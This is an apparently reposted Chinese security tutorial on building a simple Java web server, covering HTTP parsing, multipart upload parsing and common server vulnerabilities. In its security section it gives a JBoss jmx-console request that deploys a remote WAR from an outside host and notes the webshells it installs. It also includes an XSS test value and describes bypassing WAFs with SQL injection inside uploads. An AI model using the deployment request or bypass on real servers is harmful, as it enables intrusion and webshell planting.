<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/869

            注:在繼后門篇后已經有很長時間沒更新了,這次一打算寫寫Server[1]的續集。喜歡B/S嗎?那我們今天干脆就來寫一個簡單的“Web服務器”吧。

            0x01 WebServer


            Web服務器可以解析(handles)HTTP協議。當Web服務器接收到一個HTTP請求(request),會返回一個HTTP響應(response),例如送回一個HTML頁面。

            Server篇其實還缺少了JBOSS和Jetty,本打算放到Server[2]寫的。但是這次重點在于和大家分享B/S實現和交互技術。Server[1]已經給大家介紹了許多由Java實現 的WebServer相信小伙伴們對Server的概念不再陌生了。Web服務器核心是根據HTTP協議解析(Request)和處理(Response)來自客戶端的請求,怎樣去解析和響應來自客戶端的請求正是我們今天的主題。

            B/S交互

            ?enter image description here

            瀏覽器發送HTTP請求。經Internet連接到對應服務器。服務器解析并處理Http請求,返回處理結果到瀏覽器。瀏覽器解析服務器返回的數據并顯示解析后的網頁。

            在學習之前需要了解瀏覽器和Server工作原理,比如什么是HTTP協議什么是Socket。對于更底層的協議暫不提及。

            HTTP協議

            HTTP的發展是萬維網協會(World Wide Web Consortium)和Internet工作小組(Internet Engineering Task Force)合作的結果,(他們)最終發布了一系列的RFC,其中最著名的RFC 2616,定義了HTTP協議中現今廣泛使用的一個版本—HTTP 1.1。

            詳情: http://www.w3.org/Protocols/

            請求http://www.google.com:

            ?enter image description here

            客戶端瀏覽器發送了一個HTTP請求, 第一行GET / HTTP/1.1即:以GET方式請求“ /” 目錄HTTP/1.1是請求的HTTP協議版本。而Google返回的則是一個基于HTTP協議的響應,其中包括了狀態碼、內容長度、服務器版本、以及返回內容類型等。客戶端瀏覽器發送了一個請求(HttpRequest),Google服務器返回處理(Handling Request)并響應(HttpResponse)了這個請求。

            通俗的說HTTP協議是一種固定的請求格式,只要按照固定的格式去發送請求,服務器就可以按照固定的方式去處理來自客戶端的請求。

            Socket:

            Socket是應用層與TCP/IP協議族通信的中間軟件抽象層,它是一組接口。Socket通常也稱作”套接字",用于描述IP地址和端口,是一個通信鏈的句柄。在Internet上的主機一般運行了多個服務軟件,同時提供幾種服務。每種服務都打開一個Socket,并綁定到一個端口上,不同的端口對應于不同的服務。 ? enter image description here

            0x01 Java實現Web Server


            Oracle提供了一個基礎包:java.net用來實現網絡應用程序開發。提供了阻塞的Socket和、非阻塞的SocketChannel、URL等。 客戶端通過Socket與服務器端建立連接,然后客戶端發送請求內容到服務器。服務器接收到請求返回給客戶端,請求完成后斷開連接。

            1、Client

            發送一個非標準的HTTP請求內容為”Hello...”給SAE服務器: ? enter image description here

            請求首先到達了對方監聽80端口的nginx,在發現客戶端發送的內容不符合HTTP請求規范的同時返回了一個400錯誤(400 Bad Request)。 發送一個合法的HTTP請求(不截圖了,把上面的Hello...換成了req),即發送:

            "GET / HTTP/1.1\r\n"+
            "Host: www.wooyun.org\r\n"+
            "Connection: keep-alive\r\n"+
            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"+
            "Cookie: bdshare_firstime=1387989676924\r\n\r\n”;
            

            服務器返回信息: ? enter image description here

            兩次請求的差異在于是否按照HTTP協議發送,當我們隨意向目標端口發送請求時,返回了一個錯誤請求結果。當發送符合HTTP協議的請求時服務器返回了正確的處理結果。所以只需按照HTTP協議去解析請求和響應即可。與此同時不難看出請求頭的任何內容都是可以偽造的,這也是之前寫cs交互的時候提到為什么不要信任來自客戶端的任意請求的根本原因。現在嘗試著寫一個Server,去解析來自瀏覽器的請求。

            除了使用上面的“冗余代碼”去發送HTTP請求,你還可以用oracle自帶的URL包去發送HTTP請求會更加簡單。通過setRequestProperties一樣可以修改請求頭。用getHeaderFields就能獲取到響應頭信息了。

            2、簡單HTTP服務器實現

            需再一次看下上面Socket流程圖,在服務器上監聽某個端口(listen),等待請求(accept)。一旦有連接到達就開始讀取請求內容(read),然后處理并輸出響應內容(write),最后close。服務器端核心業務是獲取請求、解析請求、處理請求、返回響應。

            Server.java核心代碼: ? enter image description here

            瀏覽器請求:http://192.168.199.240:9527/wooyun.jsp?user=yzmm2&pass=123 ? enter image description here

            瀏覽器請求頭:

            GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1
            Host: 192.168.199.240:9527
            Connection: keep-alive
            Cache-Control: max-age=0
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
            User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
            Accept-Encoding: gzip,deflate,sdch
            Accept-Language: zh-CN,zh;q=0.8
            

            現在需要做的是解析請求。在Server里面有一段解析請求的代碼:Request req = new Request().parserRequest(sb.toString());//解析請求。具體的需要解析的內容包括:請求頭(Header)、請求參數(Parameter)、請求的URI(RequestURI)等。如果是文件上傳請求的話還得解析具體的內容(form-data)。 在解析的整個過程沒看過RFC文檔,只是根據個人理解去實現請求解析,有不對的地方見諒。

            首先用換行符切開請求頭,得到如下結果:GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1。可見這里是按空格隔開的,用正則的\s就可以切開了當前行了。這樣就能簡單的拿到:[GET, /wooyun.jsp?user=yzmm&pass=123, HTTP/1.1]把他們保存到類的成員變量以便后面調用。

            解析請求頭比較簡單,只需把請求頭內容按照key、value方式解析出來就行了。比如:Host: localhost:9527,解析后就成了key=Host,value=localhost:9527。parserGET方法就更簡單了,把 /wooyun.jsp?user=yzmm&pass=123以”?”號切開后再以”=”號切開,最終得到的是key=user,value=yzmm、key=pass,value=123

            ?enter image description here

            enter image description here ? 處理結果都裝在了如下變量:

            #!java
            private String method;
            private String queryString;
            private String requstURI;
            private String host;
            private Map<String, Object> formContent = new LinkedHashMap<String, Object>();
            private Map<String, Object> header = new LinkedHashMap<String, Object>();
            private Map<String, Object> parameter = new LinkedHashMap<String, Object>();
            private Map<String, Object> multipart = new LinkedHashMap<String, Object>();
            

            如果想取出請求參數可以用parameter.get(“xxxx”)就行了,是不是跟javaee有那么些相似了?當請求解析完成后需要去加載請求的文件,比如這里的wooyun.jsp。

            當請求處理完后調用getResponse方法把結果輸出到瀏覽器:

            #!java
            public String getResponse(String content){
                    return "HTTP/1.1 200 OK\r\n"+
                           "server: "+Constants.SYS_CONFIG_NAME+"\r\n"+
                           "Date: "+new Date()+"\r\n"+
                           "X-Powered-By-yzmm: "+Constants.SYS_CONFIG_VERSION+"\r\n"+
                           "Content-Type: text/html\r\n"+
                           "Content-Length: "+(content!=null?content.length():0)+"\r\n\r\n"+
                           content;
            }
            

            從上可見服務器的響應信息也是可以任意的。比如我修改了響應中的server的值你就會在瀏覽器的Response當中看到當前的server是: z7y-server。出現在響應頭里面有意思的漏洞有:CRLF注入,有興趣的小伙伴兒可以了解下。

            0x02 文件上傳請求解析


            文件上傳請求和普通的GET、POST不一樣,在JavaEE里面會把multipart請求封裝成一個InputStream對象。如果想要從請求里面解析具體的文件內容需要讀取流。值得注意的是multipart/form-data中的input域也會包含在InputStream里面。在JavaEE里面可以用:request.getInputStream();或request.getReader();方法獲取。

            #!html
            <!DOCTYPE html>
            <html>
            <head>
            <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
            <title>File Upload</title>
            </head>
            <body>
                <form action="http://192.168.199.240:9527/wooyun.jsp?user=zsy&pass=123" method="post" enctype="multipart/form-data">
                    1<input type="checkbox" value="1" name="i" checked="checked" /> 2<input type="checkbox" value="2" name="i" checked="checked" /><br/>
                    <input type="file" name="file" /><br/>
                    <input type="text" value="<script>alert('你好.');</script>" name="name" style="width:250px;" / ><br/>
                    <input type="submit" value="sub" />
                </form>
            </body>
            </html>
            

            enter image description here

            文件域下方Content-Type: text/html實際上隱藏了upload.html的內容,chrome不會在那兒顯示。判定一個請求是否是文件上傳只需從請求頭里面取出Content-Type就行了,如果type是multipart/form-data;即標識當前請求類型是文件上傳。

            關于文件上傳請求解析,我寫的比較粗暴了。按照分割線分別把內容域和文件域提取出來,并封裝到multipart map里面,它們的key分別是file和para。 ? enter image description here

            寫文件到”服務器”: ? enter image description here

            文件上傳請求安全問題

            值得注意的是假如一個文件上傳和input域同時出現的情況下,跨站和Sql注入幾率會非常的高。因為文件上傳會把input域的請求參數封裝到流里面,很多時候并沒有人會去處理這樣的惡意請求。

            類似的案例: WooYun: 360網站寶/安全寶/加速樂及其他類似產品防護繞過缺陷之一 。漏洞提交者在文件上傳請求中傳遞了SQL注入語句,而上面的安全軟件的攔截都失效了。。。

            據說在PHP里面還存在另外一個問題,文件上傳的input域請求會被解析到對應的POST請求對象當中。那么也就是說假設一個站攔截了普通的GET、POST請求,但是沒有攔截文件上傳的惡意請求。僅需要簡單的構造一個上傳并傳遞注入語句就繞過了所謂的防御了。

            0x03 文件或虛擬路徑請求和處理


            虛擬路徑請求處理

            在Servlet里面一個Servlet映射的是一個虛擬的路徑。比如請求:http://xxx /servlet/hello。這個servlet/hello并不是一個實際存在的文件地址。所以我們請求的wooyun.jsp可以是真實存在的一個文件,也可以是一個虛擬的路徑。比如當客戶端請求wooyun.jsp的時候我們把請求交給Controller去處理(仿MVC): ? enter image description here

            而我們的控制層假設做了一個請求校驗:當user等于yzmm的時候輸出Good!,否則輸出Error. ? enter image description here

            分別請求:http://192.168.199.240:9527/wooyun.jsp?user=yzmm&pass=123和user=zsy輸出都是正常的。 ? enter image description here

            普通的文件請求

            假如用戶請求的不是虛擬路徑而是一個實際存在的文件呢?這個時候就需要把服務器的文件內容讀取并返回給客戶端。比如把Contoller注掉改為content = readFile(request);這次去讀取ROOT下的wooyun.jsp內容。 ? enter image description here

            這次輸出了”用戶目錄/webapps/zsy/ROOT/wooyun.jsp”內容。

            0x04 Server安全問題


            文件解析漏洞

            服務器在處理請求或其本身可能存在一些安全問題。經典的比如IIS、Nginx解析漏洞。那么是什么原因讓Server變得這么”不安全”呢?

            在之前的系列里面講過如果把Tomcat的web.xml的filter添加任意后綴到servlet-name為jsp的Servlet當中,那么所有后綴為.txt的請求都會被當作jsp解析! ? enter image description here

            假設Tomcat在寫正則的時候一不小心寫成了:

            #!java
            Pattern.compile("\\.jsp").matcher("1.jsp.jpg").find();
            

            那么所有的1.jsp.jpg的請求都會交給jsp對應的servlet處理。跟這類似的漏洞apache曾經就出現過。問題是apache如果在mime.types文件里面沒有定義的擴展名,會給解析成倒數第二個定義的擴展名。

            文件讀取漏洞

            好吧,這個Tomcat做的有點奇葩。在某些低版本的Tomcat當請求目錄并沒有找到對應的索引文件,且web.xml的listings是true。于是Tom貓就干脆列出這個目錄的所有文件。

            Tomcat還出過另一個低級漏洞,當請求的文件是UTF-8編碼的時候會造成任意文件遍歷漏洞。觸發的條件為Apache Tomcat的配置文件context.xml 或 server.xml 的'allowLinking' 和 'URIencoding' 允許'UTF-8'選項

            War文件部署漏洞

            很多時候需要在線上部署一個新的應用時可以在Server的控制臺去動態的部署一個war文件(其實就是一個壓縮文件包)。Server會自動解壓并部署。這雖說是非常的方便,但是卻因為Server各自的實現不一或者自身安全意思淡漠導致任意的war文件都可以遠程部署到Server中去。這里面的典型代表就是Jboss。請求:

            http://192.168.0.113:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://www.ahack.net/iswin.war
            

            成功后訪問:http://192.168.0.113:8080/iswin/index.jsp 菜刀連接(默認包含index.jsp、index.jspx、index.jspf、cmd.jsp三個shell)。

            測試版本:jboss-6.1.0.Final。http://p2j.cn/?p=342

            enter image description here

            控制臺輸出信息: ? enter image description here

            這貨去年十月還出過一個高危的漏洞,同樣是遠程war部署。

            Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object RCE

            詳情: http://www.exploit-db.com/exploits/28713/ http://zone.wooyun.org/content/7398

            除了上述漏洞某些Server還出過拒絕服務漏洞、控制臺弱口令漏洞、爆路徑漏洞、WebDAV、XSS等漏洞。可謂想做好一個WebServer是非常的艱難。

            0x05 Server漏洞防御


            在總結了之前的Server安全問題之后,我們有沒有想過怎么去防御來自客戶端的攻擊呢?我們應該如何去防御?這里僅簡要介紹防范思路至于防御細節,對不起請自行實現。

            防御方式:

            1、由遠及近,從CDN層我們可以攔截所有的惡意請求。可以嘗試在請求到達服務器之前凈化請求信息。
            2、從網絡層可以用硬防處理惡意請求。
            3、從服務器層可以寫對應的Server拓展(Filter)攔截惡意請求。
            4、安裝服務器安全軟件。
            5、在應用層需要盡可能的注重代碼編寫,如果無法確保安全性可以在應用層寫一個安全過濾器。
            

            從實現的角度來說前兩者的成本較高,效果或許并不會特別明顯,后面幾種方式顯得更輕。

            這一期可以說是對Server篇的補充吧,源碼沒什么水平有興趣的朋友可以看看(下載地址:http://pan.baidu.com/s/1qW2Nwx2 )。希望大家看過笑笑之后更加“深入”的了解Request和Response吧。原打算寫個簡易瀏覽器也沒時間了。快過年了,祝小伙伴們新年快樂!

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线